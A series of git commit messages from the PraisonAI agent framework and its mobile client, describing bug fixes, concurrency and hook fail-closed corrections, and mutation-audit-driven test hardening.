Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: Mervin Praison <[email protected]>
* docs: clarify memory.HooksManager is standalone/opt-in, not auto-wired (fixes#4281)
Finding 3 of #4281: memory/hooks.py HooksManager.execute() is never invoked
by the agent/tool pipeline, but its docstrings implied it acts as an active
pre/post operation control around agent file/command/prompt operations.
Correct the module, class, and memory.__init__ docstrings to state it is a
standalone, opt-in utility (caller must invoke .execute()) and point users to
the live praisonaiagents.hooks package (HookEvent.BEFORE_TOOL/BEFORE_LLM via
HookRunner) for hooks that fire automatically around agent tool/LLM calls.
Findings 1 (async guardrail event-loop blocking) and 2 (async tool
circuit-breaker parity) were already fixed by merged PR #4469.
Co-authored-by: Mervin Praison <[email protected]>
* docs: correct HookRegistry vs HookRunner guidance in memory/hooks.py (finding 3 of #4281)
Greptile flagged that the previous docstring implied a HookRunner is passed
to Agent(hooks=...). Agent actually accepts a HookRegistry (or list/HooksConfig)
and constructs the HookRunner internally. Clarify to register handlers on a
HookRegistry (via @registry.on(HookEvent.BEFORE_TOOL)) and pass that registry.
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: Mervin Praison <[email protected]>
Replace nonexistent 'arize-phoenix' (PyPI name, 404 on npm) with the
'@arizeai/openinference-core' package in OBSERVABILITY_TOOLS metadata and
the createArizeAdapter fallback warning.
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: Mervin Praison <[email protected]>
* fix(mobile): remove five settings no code reads (fixes#4636)
model, temperature, showReasoning, showDiagnostics and apiKey were declared
in SETTING_DEFS but read by nothing, so moving any of them did nothing --
showDiagnostics even claimed to hide dropped events that render
unconditionally, and apiKey could never be written (setSecret had no caller)
nor sent (enginesFor never passed a token). Removed rather than half-wired,
keeping only engineId and baseUrl, the two the shipping app reads. A new
CONSUMED_SETTING_KEYS list is pinned by registry.test.ts so declaring a
setting without wiring a consumer fails. The store's secret and validation
machinery stays (contract-tested) for the day a settings screen exists.
Co-authored-by: MervinPraison <[email protected]>
* test(mobile): derive the consumed-setting guard from real source reads
Qodo flagged that the registry guard compared SETTING_DEFS against a
hand-maintained twin list (CONSUMED_SETTING_KEYS): adding the same inert
key to both arrays passed, so it did not actually forbid an unread
setting.
The guard now derives "consumed" from the shipping source. A declared
key must appear in a real settings read -- settings.get/isSet("key") or
the stringSetting/chosenStringOr helpers -- in boot.ts or registry.ts,
following the readFileSync/import.meta.url cross-file check idiom already
used in protocol/src/version.test.ts. A key added to both declarations
without a live reader now fails (verified by injecting a phantom key).
typecheck clean, app suite 129 pass, boundaries clean.
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: MervinPraison <[email protected]>
* fix(learn): capture_improvement takes area=, not source=
* fix(learn): align async aprocess_conversation with improvements capture
The sync process_conversation fix (source= -> area=) landed, but the async
sibling aprocess_conversation never extracted or stored improvements at all —
no prompt line, no capture branch, no improvements key in its result. Async
auto-extraction silently dropped every improvement.
Mirror the sync path: add the IMPROVEMENTS prompt line, the capture_improvement
branch (area="auto_extraction"), and improvements keys in stored/return/fallback
dicts. Update the stale empty-messages test to expect the improvements key.
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: Mervin Praison <[email protected]>
Addresses three P1 review findings on the new Move/Rename operation:
- Staging paths (src/dst/backup) now collision-check so a pre-existing
`.praison_patch_tmp` sibling is never truncated or deleted.
- Transaction-wide output-path tracking rejects two operations producing
the same destination (move->move, move->add, update collisions) instead
of silently clobbering; a move that frees its source lets a later op reuse
the path.
- Move rollback restores the source file's recorded read-hash so the
staleness guard stays armed after an aborted patch.
Co-authored-by: Mervin Praison <[email protected]>
Add a fourth '*** Move File: <old> -> <new>' operation to the structured apply_patch tool. Renames are now lossless and atomic instead of forcing a Delete+Add pair that restates the whole file body.
- Parse the Move header into {op:move, src, dst, hunks} (hunks optional so a file can be renamed AND edited in one operation).
- Validate source exists, destination is free, both boundary-checked; apply the same last-read staleness guard used by Update.
- Lock BOTH endpoints across validate+commit so the rename is race-safe.
- Commit inside the existing all-or-nothing transaction with full rollback (write destination, rename source aside; restore on any later failure).
- Preserve BOM/CRLF exactly like Update; surface 'Renamed X -> Y' in output.
Backward compatible: patches without a Move header behave exactly as before.
Co-authored-by: MervinPraison <[email protected]>
- model_providers: match "claude" as a substring so cloud-vendored forms
(us.anthropic.claude-3-5-sonnet, anthropic.claude-...) resolve to
anthropic again, restoring provider-scoped runtime_default selection that
the startswith("claude-") narrowing silently dropped.
- config/validator: derive _KNOWN_AGENT_FIELDS from AgentConfig only (plus
the tolerated `name` alias). Unioning TaskConfig fields let task-only keys
(expected_output, output_file, async_execution, context, condition) pass
agent validation even though the agent runtime ignores them.
Co-authored-by: Mervin Praison <[email protected]>
The boundaries rule permits app -> ui by either the barrel or a deep path,
so the wiring this PR established could regress to deep imports silently.
Add two behaviour assertions (per the package's house rule of not grepping
source): main's UI symbols resolve to the same identities the barrel
re-exports, and the barrel exposes every symbol main.ts pulls from it.
Co-authored-by: Mervin Praison <[email protected]>
Gap 1: derive YAML known-field sets from the Pydantic schema (YAMLConfig/
AgentConfig/TaskConfig) instead of three hand-maintained sets; adapters now
declare consumed fields via a SUPPORTED_YAML_FIELDS class attr; known_optional
tools derive solely from praisonaiagents.tools.TOOL_MAPPINGS.
Gap 2: add entry-point-extensible resolve_provider() to the core SDK
(praisonaiagents.llm.model_providers) and thin the wrapper adapter, so any
declared vendor (groq, deepseek, mistral, ...) resolves provider-scoped
runtime_default instead of only three hardcoded vendors.
Gap 3: delete the third IntegrationRegistry (_unified_registry.py); the public
surface is served by a static name->loader map plus the two typed registries
(ExternalAgentRegistry, ManagedBackendRegistry) and the praisonai.integrations
entry-point group. Add PluginRegistry.has() for cheap membership checks.
Regenerated agents.schema.json for the added top-level fields.
Co-authored-by: MervinPraison <[email protected]>
Elevate idempotency_key from **kwargs to an explicit send_message()
parameter so DurableDelivery._send_accepts_idempotency_key() can detect
and forward its persisted key (Greptile/Qodo feedback). Backward
compatible: legacy **kwargs entry still honoured; default remains a
generated UUID.
Co-authored-by: Mervin Praison <[email protected]>
Adds a unit test verifying OBSERVABILITY_TOOLS.arize.package resolves to
@arizeai/openinference-core, addressing Qodo review feedback.
Co-authored-by: Mervin Praison <[email protected]>
approval is no longer unsupported for praisonai-ts -- its case only decides
an unknown id, which needs no approval channel. Only two_approvals stays
unsupported. capabilities.approvals remains false (the engine still cannot
emit an approval request).
Co-authored-by: Mervin Praison <[email protected]>
main.ts reached the UI layer through five deep imports, so the barrel
ui/src/index.ts -- the module the layer documents as its single outward
surface -- had no importer and was never loaded by the application.
Route main.ts's UI imports through the barrel so it is on the real import
graph and the webview bundle exercises it. Tracked under #4640.
Co-authored-by: MervinPraison <[email protected]>
The engine gate forces Chat (without persisting) so setup/failure UI is
visible when a restored Train view would hide it behind #thread. But the
boot() ready branch never re-applied the saved view, so after setup
succeeded the user was stranded on Chat until relaunch.
Extract restoreView() and call it in the ready branch so a deliberate
Train choice returns once the engine is up. Adds a regression test that
completes setup with savedView=train and asserts Train becomes visible.
Co-authored-by: Mervin Praison <[email protected]>
A restored Train view sets body.training, which hides #thread. When boot()
async-resolves to "setup needed"/"failed", firstRun()/failWithSetup() render
into #thread behind the visible Train form -- the title bar says "setup needed"
with no way to reach the wizard. Force the chat view (without persisting the
saved Train choice) before rendering setup/failure UI so it is on screen.
Co-authored-by: Mervin Praison <[email protected]>
deliver_outbound() retries messages.send()/reply() up to 3 times, but neither
call supplied AgentMail's provider-level Idempotency-Key header, so a
timeout-after-send could duplicate the email at the provider boundary.
Derive one stable key per logical send before _do_send() and pass it via
request_options.additional_headers to both send and reply, so every retry
reuses the same key. Callers may pass idempotency_key for deterministic replay.
Co-authored-by: Mervin Praison <[email protected]>
The ui/src barrel had zero importers -- not one source file, not one
test. Every module it re-exported is imported directly where used and
tested directly, so deleting it loses no coverage (1278 tests still
pass) and makes the previously-silent dead code an explicit state.
Co-authored-by: MervinPraison <[email protected]>
Replace nonexistent 'arize-phoenix' (PyPI name) with the actual
@arizeai npm package '@arizeai/openinference-core' in the observability
tool metadata and the fallback install warning.
Co-authored-by: Mervin Praison <[email protected]>
The `approval` conformance case only decides an unknown id and asserts
false, which praisonai-ts's decide() always returns -- so declaring
`approval` unsupported skipped a case that already passed, leaving the
`if (skipping("approval"))` guard dead. Run the case instead by scripting
`approval` as a plain run; keep `two_approvals` unsupported since it
genuinely needs two approval_request events this engine cannot emit.
Co-authored-by: MervinPraison <[email protected]>
A fresh sweep of the code this session changed -- 316 mutations over the eight
files it touched -- found the assertion ledger had reproduced, one level up,
the exact structural hole it was built to close.
The self-defence probe in conformance.test.ts deletes ONE assertion from the
engine contract and requires the fixture run to redden on the ledger. So only
the case containing that assertion has its own `rawAssert.equal(made() -
made0, N)` defended. Measured against the FULL suite: 18 of 21 ledger checks
could be deleted with `npm run check` still exiting 0, and every assertion in
those cases was free again.
Which is the same thing a break mode does: protect the first thing it happens
to reach.
Every case now CLOSES itself -- it either counts its assertions or declares
itself skipped -- and a final case asserts that all 21 did exactly one of the
two. Re-swept: 0 of 21 survive.
Four skip guards still survive deletion and are not gaps: `empty`,
`tool_failed` and `auth_error` are declared unsupported by no harness, so
those guards are dead until one does; and removing `approval`'s skip leaves
the case passing against praisonai-ts anyway, which says the map entry is
documentation rather than a requirement.
Three more, each confirmed against the full suite first:
- `spokenDropped = turn.dropped.length` was removable. The cursor never
advances, so every later publish of the same finished turn re-announces the
same decoder gap -- and it is assertive, so it interrupts whatever else the
screen reader was saying, on a loop. Paired with a test that a SECOND gap is
still reported, so a latch cannot pass instead of a count.
- The parity checker's SKIP path had no test at all. Dropping its
`process.exit(0)` makes it carry on without the file it exists to check, and
making `exists` answer true for a missing path does the same from the other
end. Either way a standalone clone's CI fails for a reason that has nothing
to do with drift. UPSTREAM is now injectable, as AGENT_API already was.
- The drift lines could stop being printed. The job still goes red, so the
gate holds -- but with nothing about WHICH member changed, which leaves a
failing gate nobody can act on. The exit code is the gate; the message is
what makes it fixable.
- `await rm(dist)` was removable because every test built into a fresh temp
directory where dist did not exist. On a real machine it does, so a renamed
or deleted asset stays in the shipped output and the page keeps loading a
file that is no longer in the source.
Not gaps, proved rather than assumed: five surviving mutations in the rewritten
SSE reader are EQUIVALENT across 1157 (stream, chunking) pairs -- parseBlock
skips empty lines, so a stray leading or trailing newline is invisible. Eight
more were artefacts of my own sweep, which ran `node --test` without `tsc`:
deleting an interface member is a typecheck error, and `npm run check` catches
it.
1278 tests on Node 22.23 and 24.12. Six mutations re-run against the new
tests; all die.
Co-authored-by: Claude Opus 5 (1M context) <[email protected]>
* fix: close shared-state races in switch_model, ephemeral/clear_history, and session IDs (fixes#4613)
Gap 1: switch_model() now invalidates the cached _unified_dispatcher and
acquires the model-fallback lock, so it can't dispatch on a stale model or
interleave with an in-flight sync fallback.
Gap 2: clear_history() now takes _history_lock like every sibling mutator,
and ephemeral() restores via an id-based diff (removing only the messages
appended inside the block) instead of a blind list reassignment, preserving
any concurrent turn's messages.
Gap 3: auto-generated Session IDs use 64 bits of entropy and regenerate on a
pre-existing session directory; spawn_sub_agent/aspawn_sub_agent retry on
truncated-UUID agent_id collisions.
Co-authored-by: MervinPraison <[email protected]>
* chore: remove stray knowledge.db generated during testing
* fix: ephemeral() preserves messages committed by concurrent live turns
Greptile P1: ephemeral() kept only pre-block message ids, so a message a
concurrent chat()/achat() turn committed during the block was deleted on
exit (history loss). Now keep a message if it is in the pre-block snapshot
OR owned by a still-in-flight turn, via a process-wide live-turn registry
that _begin/_end/_clear_turn_tracking maintain. Removes only true ephemeral
additions (including direct appends), preserving concurrent turns.
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: MervinPraison <[email protected]>
Hoist _is_completion_signal's six regex patterns to module-level
constants compiled once at import instead of recompiling on every
autonomy-loop iteration. Behaviour is identical.
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: Mervin Praison <[email protected]>
* fix: detect unclean/OOM gateway death and persist crash-loop breaker (fixes#4603)
Add a small, durable, boot-scoped process-lifecycle record so a hosted
gateway can tell on its next boot that its previous process died uncleanly
(OOM-kill/SIGKILL run no signal handler, so signal-based forensics never
fire), surface coarse memory/disk pressure on GET /health, and make the
restart-loop breaker survive the very restart it guards.
Core (pure, zero-I/O, mirrors RestartLoopGuard/HealthPressure):
- LifecycleRecord + classify_unclean_exit()
- RestartStoreProtocol + PersistentRestartLoopGuard
- classify_resource_pressure()
Wrapper (praisonai_bot.gateway.lifecycle_ledger, on by config):
- LifecycleLedger: durable sentinel restamped at boot/shutdown, /proc+cgroup
memory sample folded in by a heartbeat, ownership-checked clean-exit marker
- SentinelRestartStore backing the persistent breaker off the same file
- Wired into start()/stop()/heartbeat and /health (lifecycle + pressure blocks);
boot-time auto-resume is suspended when the persistent breaker trips while
fresh inbound is still served.
🤖 Generated with [Claude Code](https://claude.ai/code)
Co-authored-by: MervinPraison <[email protected]>
* fix: stamp clean exit on graceful serve() teardown + merge health pressure blocks (#4603)
Address both Greptile P1s on PR #4604:
1. Graceful SIGINT/SIGTERM shutdown returns through serve()'s finally without
calling stop(), so the lifecycle sentinel stayed "running" and the next boot
misreported a clean shutdown as an unclean/OOM death. Stamp the ownership-
checked, idempotent clean-exit marker in the serve() finally (after cancelling
the sampler) so the normal shutdown path is recorded clean.
2. When both the lifecycle ledger and the saturation back-pressure machinery are
enabled, the saturation _compute_pressure().to_dict() overwrote the ledger's
{memory, disk} pressure block on /health. Merge the two disjoint vocabularies
onto one pressure object so both OS-resource and admission/backlog signals
survive.
Adds two server-integration regression tests.
🤖 Generated with [Claude Code](https://claude.ai/code)
Co-Authored-By: Mervin Praison <[email protected]>
---------
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: MervinPraison <[email protected]>
Evicted cache entries are handed to CrewAI/etc. as an agent's llm and
retained for the whole run; closing on eviction shut a transport still
in use once a worker resolved >64 distinct model/endpoint/credential
combos. Drop the LRU reference only and let GC release the httpx pool
after the last external holder goes away. Race-loser close is retained
since that client is never handed out.
Co-authored-by: Mervin Praison <[email protected]>
Gap 1: sync DB hooks silently dropped every persistence write when an async
store ran on a live event loop (run_sync_or_offload closed the coroutine and
raised, swallowed as a warning). _call_store now submits the write to the
shared bridge as tracked fire-and-forget on a running loop, blocks on the
bridge off-loop, and flush_pending_writes() drains in-flight writes from
close()/aclose().
Gap 2: PraisonAIModel.get_model() rebuilt a fresh SDK client (and httpx pool /
TLS context) per agent build. Added a bounded LRU cache keyed by
(model, base_url, api_key_fingerprint); _build_client() extracts construction;
evicted clients are closed. Registered providers are never cached.
Gap 3: _get_default_resolver() wrote into the current ContextVar, leaking the
first caller's CWD into the root context process-wide. The accessor no longer
mutates the ContextVar; unscoped callers get a CWD-anchored LRU-cached
resolver, and scoped_resolver() provides an explicit binding for request/task
scopes.
Co-authored-by: MervinPraison <[email protected]>
A command hook that printed valid allow-JSON but then exited with an
unexpected code (e.g. 127) still allowed the guarded operation because
_parse_command_output returned the JSON verdict before checking the exit
code. Now an allow decision paired with an unexpected exit code fails
closed to deny, while explicit deny-JSON and clean (0/2) exits are
unchanged. Fixes the Greptile JSON-bypass finding on #3866.
Co-authored-by: Mervin Praison <[email protected]>
The BEFORE_TOOL hook gate could silently fail open: a command hook that
exited with an unexpected code (127 command-not-found, 126 not-executable,
etc.) mapped to decision="allow", and a FunctionHook with func=None set no
output, so is_blocked() returned False and the tool ran anyway. Both now
deny, matching the fail-closed posture already used by the exception/timeout
paths and GuardrailChain.
Co-authored-by: Mervin Praison <[email protected]>
Both are quadratic in the length of ONE answer, both block the main thread of
a phone, and neither was visible to any test.
SSE buffering, 163ms -> 1.4ms for a 1MB frame over 512-byte chunks.
`buffer += chunk` then `buffer.indexOf("\n\n")` re-scans -- and, because the
append builds a rope that indexOf must FLATTEN, re-copies -- the whole buffer
on every chunk. A tool_result carrying a big file over a cellular link is
exactly that shape. Measured 2.4 / 10.7 / 40.7 / 163.1 ms at 128 / 256 / 512 /
1024 kB: 4.01x per doubling.
Adding a scan offset was tried first and did NOT help at all, which is what
identified the flatten rather than the search as the cost. So the search now
runs over the arriving chunk alone and the pieces are joined only when a frame
completes -- once per frame, over that frame's own length. A boundary that
straddles the join between two pieces is invisible to that search and is
handled explicitly.
1 / 2 / 4 MB over 1kB chunks: 100 / 288 / 1185 ms before, 1.3 / 2.0 / 2.8 ms
after. Many small frames -- the common case -- are unchanged.
The rewrite is proved IDENTICAL to the old reader across 932 (stream,
chunking) pairs: LF, CRLF, bare CR, a CRLF followed by a bare LF, comments,
folded data, id and retry, no-colon lines, blank runs, unterminated tails,
every single split index, and each of those with an empty chunk wedged in.
Two mutations of the new code survive and are proven equivalent by that same
probe rather than assumed: parseBlock skips empty lines, so a stray leading or
trailing newline in a block is invisible. Both are noted in the source so the
next reader does not take them for missing tests.
Screen-reader announcements, 175ms -> 4.5ms for a 160kB answer.
`completedLength` segments the whole accumulated answer. `lastStreamAtMs`
advanced only when something was actually SPOKEN, so any stretch where no
sentence completes -- a markdown table, a code block, a JSON dump, a bulleted
list -- left the rate limit permanently open and re-segmented everything on
every publish.
Moving the assignment was not enough on its own, and measuring is what caught
that: the identity short-circuit `if (out.length === 0 && base === state)`
returned the ORIGINAL state and threw the advance away. 533 full
segmentations over 607 publishes, still. That short-circuit also discarded a
`spokenChars` advance whose completed prefix trimmed to empty -- the same bug
in the other cursor. It now returns the same object only when nothing moved.
The cost: a sentence completing just after a check waits up to
ANNOUNCE_INTERVAL_MS. That is what the rate limit is for, and it is what
already happened whenever speech was flowing.
One existing test asserted state identity after an interval had elapsed. The
only caller does not use identity -- it guards on announcements.length -- so
that test was pinning an optimisation nobody consumes and blocking a 39x fix.
Rewritten to assert what the caller actually depends on.
1257 tests on Node 22.23 and 24.12. Nine mutations, including reverting each
fix, all die.
Co-authored-by: Claude Opus 5 (1M context) <[email protected]>
A LIVE BUG, not a mutant. `directionFromTables` scanned every subtag for a
four-letter one and read it as the script. `ar-EG-u-nu-latn` -- an Arabic
phone reporting a Unicode numbering-system extension, which is what a real
device sends -- matched `latn` inside the extension and the entire UI was
laid out left to right. Same for `fa-IR-u-nu-latn` and `ur-PK-u-nu-latn`.
Invisible on any host with `Intl.Locale.textInfo`, because `direction()`
answers from ICU first and falls back to this table only where ICU is ABSENT
-- the older Android WebView the table exists to serve.
Per BCP 47 a script subtag sits immediately after the language and nowhere
else, so the fix reads position 1 only. A "stop at the first singleton" pass
was written first and then REMOVED: it fixed the same case independently, so
the two guards were mutually redundant and no test could show that either one
mattered. One mechanism that can be tested beats two that cannot.
The drift test against ICU is widened to tags carrying extensions, with a
non-vacuity floor -- a drift test on a host where ICU answers nothing passes
while comparing nothing.
Also, ten survivors in app/src/dom.ts, all the same shape: the tests reached
rows by `dataset`, never by what a person reads.
- Every approval button's label was removable, and all three could be given
the same one. The user taps the button they believe says Deny and sends
`allow`. Every existing test found its button by `dataset["choice"]`, which
the mutation leaves intact.
- The approval question was removable: the user authorises a command the
prompt does not name.
- The tool name could become the call id; the output preview block could be
removed entirely; the preview could become the full 40kB output.
- `row row-${kind}` was removable, so every `.row-tool` / `.row-approval` /
`.row-error` rule in app.css stops matching and the transcript renders as
undifferentiated grey boxes.
- The notice tone was removable, so the Stopped notice reads "warning".
The streaming-class toggle could not have been caught before: this file's
fake document had `classList: { toggle() {} }` -- a fake that accepted every
call and recorded nothing. It is now backed by className, as a browser's is.
And three in main.ts's accessibility wiring. `polite`'s aria-live was pinned;
`assertive`'s was not, so the region carrying approval prompts and errors
could go polite -- and an approval BLOCKS the run, so waiting for the queue to
drain waits for something that will not happen until the user answers.
Nothing asserted the transcript is NOT a live region, which its own comment
calls the catastrophe. And the composer's label could be given the Send
button's name: the exact regression that comment records as fixed.
1229 tests on Node 22.23 and 24.12. Every mutation named above re-run against
the new tests; all die.
Co-authored-by: Claude Opus 5 (1M context) <[email protected]>
A mutation audit of protocol/, engines/ and adapters/ ran 107 mutations and
found 13 genuine survivors. All were re-verified against clean main first.
THE HEALTH RULE, which readiness.ts exists for, was not held. `body.ok !==
true` -> `!body.ok` survived: `{"ok": 1}`, `{"ok": "yes"}`, `{"ok": "false"}`
all read READY at HTTP 200, and a chat is routed into a broken engine.
The test meant to catch that DID feed it `{ok: "yes"}` and `{ok: 1}` -- and
passed anyway, because it asserted only `ready === false` and those bodies
carry no `version`, so they fell through and were refused as
`version_mismatch` instead. The assertion held for the wrong reason, which is
the same as not holding. Every body now carries a valid version and the
REASON is asserted.
Same class in the same module: an unhealthy engine's `retryable: true` could
become false, declaring an engine that is still binding its socket
permanently dead so a connection manager stops polling.
Cancel and approve were free to lie:
- `["ok"] === true` -> `!== false`: `{}`, `{"ok":null}`, `{"ok":0}`,
`{"error":"unknown run id"}` all read as SUCCEEDED. The status-code test
covered non-200 only. The source comment calls this "a lie the UI cannot
detect"; nothing detected it.
- the `catch` returning true: a dropped connection on the way to /cancel
reports a successful stop.
`classify.ts`: deleting `authentication` from the auth alternation survived,
because the case written to pin it -- `"authentication_error: invalid
x-api-key"` -- also matches `invalid[ _-]?x?-?api[ _-]?key`. Bare
`authentication_error` sends a bad key to "try again" instead of to the
settings screen: the exact regression the source comment records as fixed.
The SSE parser had never been given a line without a colon (`data` alone is a
legal empty data field per the spec) or an `id:`-only frame -- the field that
becomes the resume cursor. `retry` had a test; `id` did not.
`checkProtocol` could report `engine: 0` for an absent version, in a function
whose own comment says a missing field must never be mistaken for a present
one, and could report `expected: engine`, producing the self-contradictory
"too_old: engine=1 expected=1" that a user copies into a bug report.
Two adapters: the web shell's `Math.max(0, ...)` clamp had no test because
the port fake pins `offsetTop` to 0 and never lets the viewport exceed
`innerHeight` -- both real states on a phone, and both make the composer sit
off the bottom of the screen. And the Tauri bridge's "both, not either" check
could become `&&`, so a half-present global reads as native and every shell
subscription silently becomes a no-op.
Every negative case is paired with a positive one. 1235 tests on Node 22.23
and 24.12.
Co-authored-by: Claude Opus 5 (1M context) <[email protected]>
* test(mobile): close 15 core defects a mutation audit found
Every one survived the whole core suite. Verified individually against clean
main before the tests were written, and each test re-run against the mutation
it exists for.
The controller builds a RunRequest and calls cancel(), and nothing had ever
asserted what was IN either:
- `engine.cancel(run.runId)` -> `cancel(chatId)`. The engine is asked to
cancel an id it has never seen and returns false, so the user's Stop does
nothing while the model keeps generating and billing.
- `attachments: prompt.attachments` removable. The user attaches a photo,
taps Send, and the model answers as though there were no image.
- `tools: true` -> `false`. Every tool is silently off; the model says it
cannot run commands and no tool card ever appears.
- `stopTicking()` removable. Every turn leaks a live 16ms interval that never
stops -- twenty messages, twenty timers, forever.
The settings store is the one thing that reads a file a user can hand-edit:
- the scalar typeof guard removable: an object loads into the store and the
screen renders "[object Object]".
- `if (validated !== null)` removable: `temperature: "abc"` loads as null AND
isSet reports null as the user's deliberate choice.
- `clearSecret`'s notify() removable: the user taps Clear, the key is gone,
and the row still reads "configured". Only setSecret's was tested.
- the facade's `isSet` collapsible to `() => true`: every setting reports as
chosen, so a def's default outranks the composition root's explicit engine
argument -- the exact override isSet exists to prevent.
And four more:
- `repository.load`'s array guard: `messages: "hi"` is spread as four
one-character messages, so the indices `end` reports address the wrong ones
and Fork and Delete then act on junk.
- its title guard: a chat with no title is a blank, unidentifiable list row.
- `approvals.reject`'s `status !== "sending"` guard: a late failure flips an
already-confirmed decision back to a live prompt for a command that has
already run. `acknowledge`'s identical guard was tested; reject's was not.
- `titleFrom`'s `[...line]`: a title is cut through a surrogate pair and the
chat list row ends in a replacement character.
- `isOpenableExternally`'s `.toLowerCase()`: `HTTPS://` and `Mailto:` are
legal per RFC 3986 and became dead links. Fails closed, so no hole.
Every negative case is paired with a positive one, so an implementation that
refused everything cannot pass. 1233 tests on Node 22.23 and 24.12.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
* fix(mobile): correct message-count in repository test comment
Spreading "hi" yields two one-character messages, not four. Fixes the
misleading explanatory comment flagged by Greptile.
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: Claude Opus 5 (1M context) <[email protected]>
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: Mervin Praison <[email protected]>
The adapter contracts got a counting ledger because a break mode protects
only the first assertion to trip in its case. The engine contract has the
same shape and the same fixture, and measured WORSE: deleting each of its 32
single-line assertions one at a time and running the whole engines suite, 30
survived with a fully green run. Five break modes were guarding two
assertions.
This is the suite I cited as the model when fixing the adapter contracts.
Per case rather than one total, because a harness declares which scenarios it
cannot support and skips them, so no single total is right for every engine.
Each case opens with `const made0 = made()` and closes by asserting the exact
number of assertions it made. Three counts are not constants and say so: the
two capability-gated cases assert nothing when the engine HAS the capability
-- the case exists for the other branch -- and `dispose is idempotent` makes
zero assertions by design, passing by not throwing. Pinned anyway, so adding
one there is a decision rather than an accident.
Re-measured after: 0 of 32 survive.
The ledger itself had no test, and that mattered: removing `made += 1` from
the `apply` trap survived the entire engines suite, because no contract
happens to use a bare `assert(x)`. Seven tests now cover it, and seven
mutations against them all die -- including two the first draft missed:
reading `assert.AssertionError` to check the non-function guard proves
nothing (a class is a function either way; `name` and `length` are the
properties that distinguish), and truncating the apply trap's arguments went
unnoticed until a bare `assert(false, "why")` was asserted to keep its
message.
engines/ and adapters/ carry separate copies of the ledger: engines may not
import adapters and the layer rule is right to say so, and neither belongs in
core, which ships. The fixture pattern is already duplicated for that reason.
1216 tests pass on Node 22.23 and 24.12.
Co-authored-by: Claude Opus 5 (1M context) <[email protected]>
* test(mobile): count contract assertions, so none can vanish silently
contract-fixture.ts proves a contract still CONTAINS the assertion that
catches a given defect: it registers a deliberately broken adapter and
requires the matching case to fail by name. That works, and it caught real
hollowing. But it protects exactly one assertion per break mode -- the first
one in that case to trip. Every other assertion in the same case stays free,
because the case keeps failing on the one before it.
Measured, by deleting each single-line assertion in the four adapter
contracts one at a time and running the whole adapters suite: 62 of 73 could
be removed with a fully green run. Thirteen break modes were protecting
eleven assertions. The failure mode is silent -- the run reports one test
fewer and nothing else.
Sixty more break modes is not the answer. Instead each describeXContract now
takes a counting proxy over node:assert/strict, and its last registered case
asserts the exact number of assertions the earlier cases made. Delete one and
the count is short and the case fails by name. Add one and the constant has
to be updated deliberately -- which is where you notice the new assertion
also wants a break mode. The count is exact rather than a floor, because a
floor lets an assertion be swapped for a weaker one at the same arity.
That makes the ledger's own check the new single point of failure, so it
defends itself: four tests delete a real assertion from a real contract, run
the fixture, and require it to go red ON THE LEDGER rather than incidentally.
The contract is edited in place and restored in a finally, with a byte-for-
byte check that it was. A probe module was tried first and rejected twice
over: a temp tree breaks the contracts' relative ../../../core imports, so a
"failure" would prove only that the file never loaded, and a dynamic import()
needs top-level await, which the boundary scanner's esbuild pass refuses --
loosening a gate to make a test of a gate work is the wrong direction.
Re-measured after: 73 of 73 caught, 0 survivors. 1201 tests pass on Node
22.23 and 24.12. The five new tests were each re-run against the mutation
they exist for; all die.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
* fix(mobile): drop unused rmSync import from contract ledger test
The mutation-based ledger test only uses readFileSync/writeFileSync; the
unused rmSync binding obscured the filesystem operations it actually
performs. Flagged by Greptile.
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: Claude Opus 5 (1M context) <[email protected]>
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: Mervin Praison <[email protected]>
Address PR #4597 review (Greptile P1/P2):
- async path: establish injection context (incl. cancel_event) in
_execute_tool_async_impl so achat()/astart() shell tools abort promptly
instead of running until timeout. Shared _build_agent_state helper avoids
drift with the sync execute_tool path.
- interrupt: clear the underlying Event when an interrupted turn ends so a
reused controller does not abort tools launched by the NEXT turn.
- protocol: make `event` an optional capability via
CancellableInterruptControllerProtocol; base protocol stays event-free so
existing third-party controllers remain valid.
- tests: stale-interrupt clear, sibling-turn retention, optional-protocol.
🤖 Generated with [Claude Code](https://claude.ai/code)
Co-authored-by: Mervin Praison <[email protected]>
Thread the InterruptController's cancellation Event into the tool
invocation context (AgentState.cancel_event / InvocationContext.cancel_event)
so a running tool body can observe an interrupt and abort promptly instead
of running until its own timeout. The built-in shell tool now polls the
event while its subprocess runs and kills the process group on cancel,
returning an `interrupted` outcome. Fully backward compatible: a tool that
ignores the event behaves exactly as before (no new hard deps, lazy imports).
Co-authored-by: MervinPraison <[email protected]>
Gap 1 (minimal): praisonai.__init__ resolved DB/PraisonAIDB/PraisonDB
directly from db.adapter, bypassing the DeprecationWarning that the
praisonai.db import path emits. Now route through praisonai.db so
`from praisonai import DB` warns consistently, matching
`from praisonai.db import DB`.
Gap 2 (docs-only): document that enable_injection_defense/enable_audit_log/
enable_security register on the process-global hooks registry and are not
tenant-scoped, with guidance to remove_hook for teardown. No new
params/modules/exports (avoids Agent bloat and scope creep per AGENTS.md).
Larger refactors proposed in the issue (deleting storage/, new SecurityPolicy
